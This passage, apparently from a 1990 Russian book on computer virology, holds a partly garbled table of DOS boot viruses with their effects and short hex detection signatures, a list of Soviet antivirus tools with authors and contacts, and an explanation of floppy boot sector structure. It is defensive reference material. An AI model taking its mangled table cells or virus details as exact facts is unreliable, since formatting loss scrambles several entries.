│вируса │ п │р│м│д │ │ вызываемые эффекты │ │ │ а │о│к│ │ │ │ │ │ │с│а│ │ │ │ │ │ │т│ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ $ Yale (Йельский),│ WB-hh │Ala│1│ │D │ L512 S39.8.0 │США(Меррит-колледж, Калифорния): 04.87 │ * Alameda(Аламеда), │ │ │ │DR│u 1K │Первый бутовый вирус, "выжывавший" при теплой переза-│ Merrit, │ │ │ │ │M │B4 00 CD 13 72 0D B8 01 │грузке. Хвост вируса состоит только из оригинального │ Peking (Пекин), │ │ │ │ │I │BB40008EDBA11300F7E32DE0078EC00 │бутсектора и записывается по абсолютному адресу │ Seoul (Сеул) │ │ │ │ │+ │E1F81FF56347504FF0EF87D │39/8/0. Если этот сектор распределен какому-нибудь │ │ │ │ │ │ │ │файлу, то содержащаяся в нем информация уничтожается.│ │ │ │ │ │ │ нет, то при распределении оригинальный │ │ │ │ │ │ │ │(неинфицированный) бутсектор будет уничтожен и при │ │ │ │ │ │ │ │перезагрузке машина зависнет. Оригинальная версия │ │ │ │ │ │ │ │работоспособна только на PC/XT (код содержит недопус-│ │ │ │ │ │ │ │тимую для 80286/80386 команду) │ │ │ │ │ │ │ │ │Если │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# SF Virus │ WB-hh │Ala│1│~│ │ │США(Калифорния): декабрь 1987 │ │ │ │ │ │ │ │ │Штамм вируса Alameda, имеющий фазу проявления после │ │ │ │ │ │ │ │ │заражения 100 дискет. При активации форматирует │ │ │ │ │ │ │ │ │дискету. Инфицирует только 360К дискеты. │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# Golden Gate │ WB-hh │Ala│1│~│ │ │США(Калифорния): 1988 │ │ (Золотые ворота),│ │ │ │ │ │ │Штамм вируса Alameda, имеющий фазу проявления при │ │ Mazatlan, │ │ │ │ │ │ │достижении количества инфицированных дискет числа 500│ │ 500 Virus │ │ │ │ │ │ │Фаза проявления состоит в форматировании диска С. │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ # Swap │ Dx1-hh │PP │1│ │D │ L 740 │Израиль: август 1989 │ (Перестановка), │ │ │ │ │DR│u 2K │Создает один псевдосбойный кластер на 39 треке секто-│ $ Falling Letters │ │ │ │ │I │31C0CD13B80202B90627BA0001 │ра 6 и 7. Если эти сектора уже распределены, то вирус│ Boot, │ │ │ │ │+ │BB00208EC3BB0001CD139A00010020 заражает дискету. В байтах B7h-E4h сектора 7 │ (Падающие буквы/ │ │ │ │ │M │CD 13 B8 02 02 B9 06 27 BA 00 01 │содержится сообщение T1. В зараженном бутсектора │ бутовый), │ │ │ │ │T1│The Swapping-Virus. │стандартные текстовые собщения отсутствуют. │ * Israeli Boot, │ │ │ │ │ +│ (C) June, 1989 by the CIA │ (Израильский │ │ │ │ │ │ │ бутовый), │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │не │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ * Typo │ Bx1-hh │PP │1│ │D │ L512+xxx Sx1 Mn Wn │Израиль, июнь 1989 или конец 1988 │ (Опечатка), │ │ │ │ │DR│u 2K │Израильская мутация вируса Bx1-1C(Ping-Pong). │ $ MisSpeller │ │ │ │ │M │24 13 55 AA │Вносит ошибки в данные передаваемые через параллель- │ │ │ │ │ │ │ │най порт (обычно к этому порту подключен принтер), │ │ │ │ │ │ │ │заменяя V на W, C на K, J на G и т.д. Цифры в числах │ │ │ │ │ │ │ │могут быть переставлены или заменены. │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ * Chaos │ B-hh │ │1│ │M │A1 49 43 68 41 4F 53 50 52 51 E8 │Великобритания (Кент): декабрь 1989 │ (Хаос) │ │ │ │ │T1│Welcome to the New Dungeon │Имеющиеся сведения противоречивы. По одним вирус │ │ │ │ │ │T2│Chaos │повреждает файлы типа .PRT, по другим при активации │ │ │ │ │ │T3│Letz be cool guys │заполняет диск псевдосбойными кластерами. │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │* Korea │ D-hh │ │1│ │M │8E D0 BC F0 FF FB BB 13 04 │Южная Корея(Сеул): март 1990 │ │ (Корейский), │ │ │ │ │ │ │Хвост состоит из оригинального бутсектора и записыва-│ LBC boot │ │ │ │ │ │ │ется в сектор 11 - последний сектор корневого катало-│ │ │ │ │ │ │ │га. При этом возможно затирание части каталога. │ │ │ │ │ │ │ │Помимо размножения проявлений нет │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │* EDV Virus │ M-hh │ │1│ │ │ │США: январь 1990 │ │ │ │ │ │ │M │75 1C 80 FE 01 75 17 5B 07 1F 58 83│В конце зараженного бутсектора имеется строка T1. │ │ │ │ │ │F │CLEANUP v62+ (6-90) при выполнениии некоторых прог- │ │ │ │ │ │T │MSDOS Vers. E.D.V. наблюдаются сбои и могут быть уничтожены неко- │ │ │ │ │ │ │ │торые данные (впрочем эта фраза подходит к любому бу-│ │ │ │ │ │ │ │овому вирусу) │ │По данным П.Хофман │рамм ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ * Pentagon │WD-hh │ │1│~│D │ Mc │США, 1988 │ (Пентагон) │ │ │ │ │DR│u 5K │Вирус не заражает дискеты, уже зараженный вирусом │ │ │ │ │ │M │EB 34 90 48 41 4C 20 20 │Dx3E9. Тело вируса закодировано и содержит текст │ │ │ │ │ │ │ │(с) 1987 The Pentagon, Zorell Group$. │ │ │ │ │ │ │ │Голова вируса представляет собой слегка модифициро- │ │ │ │ │ │ │ │ванный бутсектор MS DOS 3.2 в котором вместо слово │ │ │ │ │ │ │ │IBM заменено на HAL и двух файлов. Первый с именем │ │ │ │ │ │ │ │F9h содержит хвост вируса, а второй - PENTAGON.TXT │ │ │ │ │ │ │ │похоже не используется и не содержит данных (следы │ │ │ │ │ │ │ │отладки ?). Вирус переживает теплую перезагрузку. │ │ │ │ │ │ │ │Хвост вируса закодирован. │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ * Ohio │ D-hh │ │4│ │M │EB 29 90 49 34 12 00 01 00 00 00 00│Индонезия, США: июнь 1988 │ (Огайо) │ │ │ │ │T1│V I R U S │Заражает только 360K дискеты. Код аналогичен коду │ │ │ │ │ │T2│ b y │вируса Den Zuk и скорее всего Ohio является ранней │ │ │ │ │ │T3│ The Hackers │версией последнего. Дискета, зараженная вирусом Ohio │ │ │ │ │ │T4│ Y C 1 E R P │иммунизирована против заражения вирусом Brain. │ │ │ │ │ │T5│D E N Z U K 0 │В теле вируса имеются строки T1-T8. │ │ │ │ │ │T6│Bandung 40254 │ │ │ │ │ │ │T7│ Indonesia │ │ │ │ │ │ │T8│(C) 1988, The Hackers Team.... │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ * Ghost Virus │ D-hh │ │1│ │M │90 EA 59 EC 00 F0 90 90 │По сути это не вирус, а троянская программа, распро- │ (Бутовое приви- │ │ │ │ │ │ │сраняемая файловым вирусом C-2351 (Ghost file virus),│ дение) │ │ │ │ │ │ │Последний заражает этти троянцем 360K дискеты в диско│ $ Ghost Boot virus│ │ │ │ │ │ A. Данный троянец аналогичен вирусу Bx1-1C, │ │ │ │ │ │ │ обладает способностью инфицировать другие дискеты.│ │ │ │ │ │ │ │Оригинальный бутсектор записывается в сектор 39.9.1, │ │ │ │ │ │ │ │уничтожая данные которые там хранились до этого │ │воде │не ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*$ 2730 │ │ │1│ │D │ │1989; │ │ Nichols │ │ │ │ │M │91 77 91 7A A4 B7 57 00 56 00 00 00│Проявления неизвестны │ │ │ │ │ │F │CLEANUP v62+ (6-90) │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │ *# AirCop │D-hh │ │1│ │ │ │Тайвань, США (Вашингтон): июль 1990 │ │ │ │ │ │ │M │BE C5 01 E8 3E FF EB DF E4 00 │Заражает только дискеты. На обычной 360Л дискете │ │ │ │ │ │ │ │ │сохраняет оригинальный бутсектор в секторе 719 │ │ │ │ │ │ │ │ │(1/39/9). На большинстве систем через случайные ин- │ │ │ │ │ │ │ │ │тервалы времени выдает на экран сообщение: │ │ │ │ │ │ │ │ │ "Red State, Germ Offensive. │ │ │ │ │ │ │ │ │ AIRCOP." │ │ │ │ │ │ │ │ │На некоторых не совсем совместимых ЗС вместо сооюще- │ │ │ │ │ │ │ │ │ния выдается Stack Overflow Error │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# FORM │B-hh │ │ │ │D │ │Швейцария: июнь 1990 │ │ │ │ │ │ │M │E8 B2 00 5A 5E 1F 33 C0 50 B8 00 7C│В коде вируса имеются текстовые строки Т1-Т3. Перевод│ │ │ │ │ │ │T1│The FORM-Virus sends greetings │Т1: FORM-вирус приветствует всех читающих этот текст.│ │ │ │ │ │ │ +│to everyone who's reading this text│Т2: FORM не разрушает данных! │ │ │ │ │ │ │T2│FORM doesn't destroy data! │Т3: Без паники ! ........ .. .. ....... │ │ │ │ │ │ │T3│Don't panic! Fuckings go to Corinne│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# Mardi Bros │ D-hh │ │1│ │D │ │Франция: июль 1990 │ │ │ │ │ │ │DR│u 7K │При заражении имя дискеты изменяется на "Mardi Bros".│ │ │ │ │ │T1│Sudah ada vaksin │CHKDSK выдает для зараженных дискет следующую инфор- │ │ │ │ │ │M │D8 8E D0 BC 00 F0 FB E8 27 │мацию о метке тома │ │ │ │ │ │ │ │ "Volume Mardi Bros created ira 0, 1980 12:00a" │ │ │ │ │ │ │ │В зараженном бутсекторе текстовые сообщения нормаль- │ │ │ │ │ │ │ │ного бутсектора сохраняются. Дополнительно появляется│ │ │ │ │ │ │ │строка T1. По видимому других проявлений, помимо │ │ │ │ │ │ │ │размножения и изменения меток вирус не имеет. │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# Microbes │B-hh │ │4│<│D │ │Индия(Бомбей): июнь 1990 │ │ (Микроб) │ │ │ │ │M │8E D0 BC 00 F0 FB A1 13 04 2D 04 │Проявления неизвестны │ │ │ │ │ │ │ │ │ ──────────────────┼────────┼───┼─┼─┼──┼───────────────────────────────────┼───── ────────────────────────────────────────────────┤ │*# Print Screen │ B-hh │PP │1│ │D │ │Индия(Бомбей): ноябрь 1989, Neville Bulsara. │ │ EB 21, │ │ │ │ │DR│u 2K │Основан на Bx1-1C (Ping-Pong) и некоторые антивирус- │ │ 8290, │ │ │ │ │M1│7401BF0300B92000F3A4 /* штамм 2 */ │ные программы идентифицируют его ошибочно. │ │ PRTSC Virus │ │ │ │ │M2│CD05FEC8A26001C36F6E2D /штамм 1*/ │На дискетах копирует свой хвост в 11 сектор. │ │ │ │ │ │ │ │На зараженных системах с винчестером наблюдается за- │ │ │ │ │ │ │ │метное замедление доступа к диску. После каждых 255 │ │ │ │ │ │ │ │дисковых операций выдает дамп экрана на принтер. │ │ │ │ │ │ │ │Имееется более ранний штамм, в котором эта ветвь │ │ │ │ │ │ │ │реализована с ошибкой и вирус только размножается │ │ │ │ │ │ │ │ │ ──────────────────┴────────┴───┴─┴─┴──┴───────────────────────────────────┴───── ────────────────────────────────────────────────┘ ПРИЛОЖЕНИЕ 5 Перечень отечественных антивирусных средств, помещенных в выпусках электронного бюллетеня СОФТПАНОРАМА ────────┬─────────────────────────────────────────────────────────────── Имя │ Назначение, разработчик, версии, условия распространения ────────┴─────────────────────────────────────────────────────────────── AIDSTEST Полифаг, Лозинский Дмитрий Николаевич, Москва, ГВЦ Госплана СССР, тел.(095)292-40-76(сл) Верс.12 от 05.12.89 - СП 1.4 (FREEWARE) Верс.18 от 10.01.90 - СП 2.1 (FREEWARE, I премия) Верс.28 от 18.04.90 - СП 2.5 (FREEWARE) Верс.54 от 24.10.90 - коммерч.продукт, цена - 3 руб. (для организаций - 100 руб.) Распр. - Научный центр СП "Диалог" при ВЦ АН СССР, тел.(095)137-01-50 ANTI-KOT Полидетектор + полифаг, Котик Олег Генрихович, Москва Версия от 28.10.89 - СП 1.2 (FREEWARE - Полидетектор) Верс.3.60 от 07.05.90 - СП 2.5 (FREEWARE - Полидетектор) ANTI-KOR Резидентный сторож, Котик Олег Генрихович, Москва Верс.1.0 от 15.03.90 - СП 2.5 (FREEWARE) Коммерческие продукты, цена 600-1000 руб. Распространители - СП "Интермикро", тел.(095)267-32-10; НТЭЦ "Сэканс", тел.(095)183-10-89 AV Полифаг, Сысоев Игорь Владимирович, Москва Верс.1.8 от 27.02.90 - СП 2.4 (FREEWARE) Верс.1.9 от 21.04.90 - СП 2.5 (FREEWARE) AVB Универсальный бутовый детектор Свиридов Игорь Анатольевич, Киев, тел.(044)263-87-70 Верс.2.11 от 04.06.90 - СП 2.6 (SHAREWARE) CHECK Ревизор, Гонтарь Борис Борисович, Киев, тел.(044)265-68-73(сл) Версия от 20.07.89 - СП 1.2 (FREE-SRC (С)) CHECK Ревизор, Судленков Геннадий Олегович, Минск, тел.(0172)55-84-42 Версия без даты - СП 2.7 (FREEWARE) CHECK21 Резидентный сторож Двоеглазов Игорь Михайлович, Киев, тел.(044)517-02-05 - суб,вск Верс.3.3 без даты - СП 2.1 (FREEWARE, I премия) Верс.4.5 от 30.03.90 - СП 2.4 (FREEWARE) COM4VIR EXE4VIR SYS4VIR Ловушки для вирусов, Волынский Владимир Викторович, Москва, тел.(095)219-99-62 Верс. от 05.03.90 - СП 2.8 (FREEWARE) -D(-D3) Резидентный сторож, Касперский Евгений Валентинович, Москва, тел.(095)482-60-05 Верс.1.0 от 13.03.90 - СП 2.4 (FREEWARE) Верс.2.2 от 16.08.90 - СП 2.7, 2.8 (FREEWARE) Верс.___ - коммерч.продукт, цена - 250 руб. Распр. - МГП "Алиса", тел.(095)248-32-52 DET-NEW Полифаг, Судленков Геннадий Олегович, Минск, тел.(0172)55-84-42 Версия без даты - СП 2.7 (FREEWARE) DI Ревизор, НИЦ Сунгуль Верс. от 03.04.89 - СП 2.7 (FREEWARE) DLI Ревизор, Герасимов Вадим Викторович, Москва Верс.1.1 от 08.12.89 - СП 1.4 (FREEWARE, I премия) DOCTOR Полифаг, Герасимов Вадим Викторович, Москва Верс.2.08 от 10.11.89 - СП 1.4 (FREEWARE) DOCTOR Полифаг Чижов Антон Андреевич, Москва, СП ПараГраф, тел.(095)200-25-66 Верс.1.34/15/11 - СП 1.4 (FREEWARE) Верс.1.42/16/11 - СП 2.1 (FREEWARE, II премия) IWP Резидентный фильтр, Водяник Аркадий Григорьевич, Донецк Верс.1.33 от 08.03.90 - СП 2.3 (FREEWARE) Верс.____- коммерч.продукт, цена - 1300 руб (без платы), 2300 руб - с платой PORT WATCH CARD Распр. - НПК БИС, тел.(0622)93-10-21 J-CHECK Ревизор, Базалий Юрий Алексеевич, Киев, тел.(044)227-25-41 Верс.1.3 от 18.09.89 - СП 2.1 (FREE-SRC) K16 Полифаг Сусликов Евгений Николаевич, Кемерово, тел.(3842)23-44-03 Верс.7.0 от 19.03.90 - СП 2.5 (FREEWARE) Верс.8.0 от 24.07.90 - СП 2.7 (FREEWARE) (K32) LD Полидетектор Сусликов Евгений Николаевич, Кемерово, тел.(3842)23-44-03 Верс.2.0 от 24.03.90 - СП 2.5 (FREEWARE) Верс.2.7 от 19.07.90 - СП 2.7 (FREEWARE) NEATFAG Полифаг Пономаренко Виталий Витальевич, Киев, тел.(044)484-19-84 Верс. от 27.02.90 - СП 2.7 (FREEWARE) NEATVAC Резидентная вакцина Пономаренко Виталий Витальевич, Киев, тел.(044)484-19-84 Верс.1.0 без даты - СП 2.7 (FREEWARE) SBM Резидентный сторож, Еременко Василий Евгеньевич, Мостовой Борис Михайлович, Киев, тел.(044)416-13-69 Верс.1.01 от 12.12.89 - СП 1.4 (FREEWARE, I премия) Верс.1.03 от 06.04.90 - СП 2.4 (FREEWARE) SPEEDCHK Ревизор, Шнайдер Лев Семенович, Киев, тел.(044)274-91-87 Верс.1.0 от 08.01.90 - СП 2.1 (FREE-SRC) TANJA Универсальный фаг, Рудаков Юрий Валерьевич, г.Жуковский Московской обл., тел.(095)556-80-42(сл) Верс. от 27.04.90 - СП 2.5 (FREEWARE) UNIVAC Универсальная вакцина, Бабанин Валерий Михайлович, Тверь, тел.(222)6-61-64 Верс.1.0 от 12.09.90 - СП 2.8 (FREEWARE - ?) -V Полифаг Касперский Евгений Валентинович, Москва, тел.(095)482-60-05 Верс.2.0 от 24.08.90 - СП 2.7 (FREEWARE) Верс.___ - коммерч.продукт, цена - 500 руб. Распр. - МГП "Алиса", тел.(095)248-32-52 VDEATH Полифаг с "турбоинтерфейсом", Ревзин __________________,_______ Верс.7.2 от 04.10.89 - СП 1.4 (FREEWARE) VI Вирусный интегратор Шеховцов Александр Людвигович, Киев, тел.(044)266-00-97(сл) Верс.1.1 от 11.12.89 - СП 1.4 (FREEWARE) Верс.1.2 от 25.12.89 - СП 2.1 (FREEWARE) VITAMINB Вакцина против бутовых вирусов, Сесса Александр В. Днепропетровск, тел.(___)__________ Верс.1.0 от 10.10.90 - СП 2.8 (FREEWARE) VL Полидетектор с вводом сигнатур для контекстного поиска Шеховцов Александр Людвигович, Киев, тел.(044)266-00-97(сл) Верс.1.3 от 12.12.89 - СП 1.4 (FREEWARE) Верс.1.4 от 23.12.89 - СП 2.1 (FREEWARE, II премия) Верс.2.0 от 09.09.90 - СП 2.7 (FREEWARE) VR Полифаг, Осипенко Александр Сергеевич, Москва Верс.3.47 от 10.01.90 - СП 2.1 (FREEWARE) Верс.____- коммерч.продукт, цена - 950 руб. Распр. - СП "Эпсилон", тел. (095)532-93-22 ──────────────────────────────────────────────────────────────────────── ПРИМЕЧАНИЯ. 1. Обозначение СП указывает выпуск (том, номер) электронного бюллетеня СОФТПАНОРАМА, содержащего данное средство. Указываются первое и последнее включения в СП, а также участие в 1-м конкурсе некоммерческих антивирусных средств (Киев, семинар "Системное программирование", сентябрь 1989 г. - январь 1990 г.) для призеров конкурса. 2. Способ распространения некоммерческих средств обозначен: FREEWARE - свободно; FREE-SRC - свободно с исходными текстами; SHAREWARE- с частичной субсидией пользователями (см. о способах FREEWARE и SHAREWARE файл read.me выпуска 2.8 электронного бюллетеня СОФТПАНОРАМА) 3. Указанная цена коммерческих версий является ориентировочной и в конкретных случаях может зависеть от дополнительных условий поставки. 4. Последняя версия всех средств указана по данным автора на октябрь 1990 г. 5. В списке не отражены многочисленные средства, включенные в СП и рассчитанные на борьбу с одним конкретным видов вируса. ПРИЛОЖЕНИЕ 6 НЕКОТОРЫЕ СВЕДЕНИЯ О ФАЙЛОВОЙ СИСТЕМЕ MS DOS Существуют два основных типа дисков, используемых в MS DOS: гибкие диски (дискеты) и твердые диски (винчестеры). В дальнейшем мы будем рассматривать преимущественно дискеты, поскольку отличия в организации информации между дискетами и винчестерами незначительны и касаются, в основном, количественных характеристик. Впрочем, количественные характеристики отличаются и для разных типов дискет (5- и 3-дюймовых, одно- и двухсторонних и проч.). Поэтому для упрощения изложения далее везде будет предполагаться дискета 360К (2 стороны по 40 треков, 9 секторов на трек). Информация записывается на фиксированное число концентрических окружностей, называемых треками или дорожками, на которые может быть выставлена магнитная головка. Их количество зависит от типа дисковода и дискеты. Обычная 360K пятидюймовая дискета (DS/DD) расчитана на запись 40 треков на каждой стороне. Треки нумеруются, начиная с нуля, причем трек 0 расположен ближе к внешнему краю диска (имеет наибольший радиус), а трек 39 - к внутреннему отверстию дискеты. Имеются дискеты и другой емкости. Так дискеты DS/QD (720K) рассчитаны для записи 80 треков (0-79). Опыт показал, что большинство дискет DS/DD можно успешно размечать на 80 дорожек и использовать как DS/QD без снижения надежности записи информации. Кроме того дисковод может вести запись на 40 и более старшие дорожки (до 43) или на 80-83. В частности 41 дорожка часто используется для "защиты от копирования" - часть информации размещается на нее и пропадает при обычном копировании. Впрочем, имеются специальные программы (COPYIIPC, COPYWRITE), позволяющие обходить простейшую реализацию такой защиты за счет копирования "всего подряд". Бутовые вирусы также иногда используют 40 дорожку для хранения своего хвоста. Каждый трек разделен на секторы, которые являются единицами считывания и записи информации на диск. Любая операция чтения или записи в конечном счете сводится к чтению или записи определенного числа секторов. На одном треке для обычной дискеты располагаются девять секторов. Каждый сектор обычно содержит 512 байтов. Операционная система выделяет файлам единицы дискового пространства, называемые кластерами. Для обычных двухсторонних дискет 360 К (DS/DD) кластер состоит из двух секторов и имеет размер 1024 байта (1К). Даже если размер файла меньше 1 К, операционная система выделяет файлу целый кластер. Таким образом, кластер является минимальной единицей распределения дискового пространства. Количество секторов которое можно записать на дискету зависит от качества дисковода. Обычные дисководы, позволяют записывать до 10 секторов на трек (формат 10 секторов:40 треков - 400K и 10 секторов:80 треков - 800K), а дисководы повышенного качества - 17 секторов на трек (для дискет HD емкостью 1,2М используется разметка 80 дорожек по 15 секторов). Следует отметить, что если разметить дискету DS/DD (DS/QD) в формате HD, то после записи информации обычно ее нельзя прочитать. Хотя дискета имеет форму диска, операционная система рассматривает ее как последовательность секторов от нулевого до максимального. Последний зависит от емкости дискеты. При этом первые 12 секторов (0-11) содержат управляющие блоки MS DOS для любого типа диска. Следует отметить, что размеры управляющих блоков на дискете (FAT и каталога) приведены для дискетты 360 Kb и могут отличаться от стандартных: их размер хранится в бутсекторе и не является фиксированным. Дальнейшее содержимое диска зависит от того, является ли он системным или нет. Для обычного диска сектора, начиная с 12, содержат данные. Для системного диска сектора с 12-го заняты файлами IBMIO.COM и IBMDOS.COM (IO.SYS и MSDOS.SYS). Эти файлы являются скрытыми и не видны командой DIR. Для того, чтобы рассмотреть их, можно воспользоваться утилитами (Norton Commander, PCTools и т.д.). Помимо IBMIO.COM и IBMDOS.COM на системном диске содержится файл COMMAND.COM (командный процессор). Эта программа обеспечивает обработку вводимых команд и является одной из наиболее часто используемых программ MS DOS. Поэтому она является излюбленной мишенью для атаки файловыми вирусами. Дискета, содержащая указанные три файла является минимальной конфигурацией операционной системы MS DOS и ее удобно использовать в качестве дрозофилы для бутовых вирусов. Поэтому приводимые в дальнейшем примеры ориентированы, в основном на указанную минимальную конфигурацию: ╔════════════╤═══ A:\ ═╤════════╤══════╗ ║ Name │ Size │ Date │ Time ║ ║Ibmbio ░com│ 22100│ 3-17-87│12:00p║ ║Ibmdos ░com│ 30159│ 3-17-87│12:00p║ ║command com│ 25307│ 3-17-87│12:00p║ ║ │ │ │ ║ Структура управляющей информации на дискете Первые 12 секторов (0-11) содержат три управляющих таблицы: загрузчик (BOOT), таблицу распределения файлов (FAT), и корневой каталог (root directory). Схема расположения этих секторов приведена на рис.1. ╔═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═══╤═. . .═╤═══╗ ║ B │ F │ F │ F │ F │ R │ R │ R │ R │ R │ R │ R │ │ │ . . . │ ║ ╚═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═══╧═. . .═╧═══╝ а) PC Tools Deluxe R4.30 Vol Label=None ─────────────────────────────Disk Mapping Service────────────────────── Path=A:\*.* Entire disk mapped 78% free space Track 1 1 2 2 3 3 3 0 5 0 5 0 5 0 5 9 Double sided Bhhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ Fhhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ Side 0 Fhhhhhhrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ Dhhhhhhrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ----Dhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ Dhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ Side 1 hhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ hhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ hhhhhhrrr▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓ B F D Explanation of Codes Available Allocated Boot record h hidden File Alloc Table r Read Only Directory x Bad Cluster "F" to map files. ESC to return. б) Рис.1. Расположение секторов на дискете. а: схематическое представление (границы кластеров для системных секторов не показаны, поскольку нумерация кластеров начинается со второго). Используемые обозначения: B - бутсектор; F - FAT; R корневой каталог; б: карта, выдаваемая в режиме MAP PC Tools (в случае, если на дискете есть сбойные кластеры, которые могут возникнуть в результате заражения бутовым вирусом, они отчетливо видны при просмотре карты на экране дисплая в виде мигающих символов "х"). Дискеты, имеющие сбойные кластеры, должны быть дополнительно исследованы. Бутсектор Бутсектор всегда размещается в нулевом секторе дискеты и содержит сведения о формате дискеты, а также короткую программу - загрузчик. Структура бутсектора показана на рис.2. Формат рисунка соответствует формату дампа на экране дисплея - по 16 символов в строке, что облегчает интерпретацию дампа 0 1 2 3 4 5 6 7 8 9 A B C D E F ╓───────┬───╥───┬───────┬───────┬───────┬───╥───┬───╥───╥───────╖ 00 ║JMP xx xx ║'I' 'B' 'M' '3' '.' '3'║SectSiz║CS ║ResSecs║ ╟───╥───┼───╫───┼───╥───╥───┴───╥───┴───╥───╨───╥───╨───╫───┴───╢ ──┼───┘ 10 ║Fat║RootSiz║TotSecs║Med║FatSize║TrkSecs║HeadCnt║HidnSec║ ║ ╟───╨───┼───╨───┼───╨───╨───┴───╨───┴───╨───┴───╨───┴───╨───┴───╜ 20 ║ код загрузчика (в конце загрузчика всегда расположены диагно= ╙───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 30 стические сообщения и имена системных файлов) ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ . ... 1F0 ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╥───┴───┤ ║ 55 AA│ ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───╨───┴───┘ Рис.2. Структура бутсектора Используемые обозначения: JMP - NEAR-переход на начало загрузчика; 8 байт, содержащих произвольную информацию, обычно заносимую программой форматирования диска; SectSiz - количество байтов в одном секторе; CS (ClustSiz) - количество секторов в одном кластере; ResSecs - количество резервных секторов (перед FAT); Fat (FatCnt) - количество FAT; RootSiz макс.число 32-байтовых элементов корневого каталога; TotSecs общее число секторов на носителе (разделе диска); Med (Media) - дескриптор носителя (то же, что 1-й байт FAT); FatSize - количество секторов в одной FAT; TrkSecs - количество секторов в одном треке; HeadCnt - число головок чтения/записи (поверхностей); HidnSec - количество спрятанных секторов; - размер форматированной порции корневого сектора. Как видно из рис.2, сведения о программе, с помощью которой выполнялось форматирование, расположены с 4 байта. На рис.3 показан бутсектор двухсторонней дискеты двойной плотности (2D-2S), содержащей 40 треков и размеченный программой FORMAT MS DOS 3.3. Бутсектор винчестера отличается только таблицей параметров. Программа загрузчик остается неизменной. Другие версии операционной системы имеют несколько отличающийся от приведенного загрузчик, однако его структура неизменна: в конце сектора всегда имеется текст диагностического сообщения и имена системных файлов (на рис.3 - IO.SYS и MSDOS.SYS; для PC DOS используются имена IBMBIO.COM и IBMDOS.COM). В конце бутсектор всегда содержит два идентификационных байта : 55h AAh. Следует обратить внимание, что первые три байта стандартного бутсектора MS DOS 3.3 содержат EB 34 90. Несовпадение этих байтов при просмотре бутсектора должно сразу настораживать, поскольку может свидетельствовать о заражении вирусом. Absolute sector 0000000, System BOOT Disp ───────────────── Hex codes──────────────────── place-00 01 02 03 04 05 06 07 08 09 0A│OB 0C 0D 0E 0F ment │SectSiz │ │ClustSiz ┌───JMP──┐ │ │ │ResSecs │ │ │ │ │ 0000:│EB 34 90│4D 53 44 4F 53 33 2E 33│00 02│02│01 00 .4.MSDOS3.3..... 0010: 02 70 00 D0 02 FD 02 00 09 00 02 00 00 00 00 00 .p.............. 0020: 00 00 00 00 00 00 00 00 00 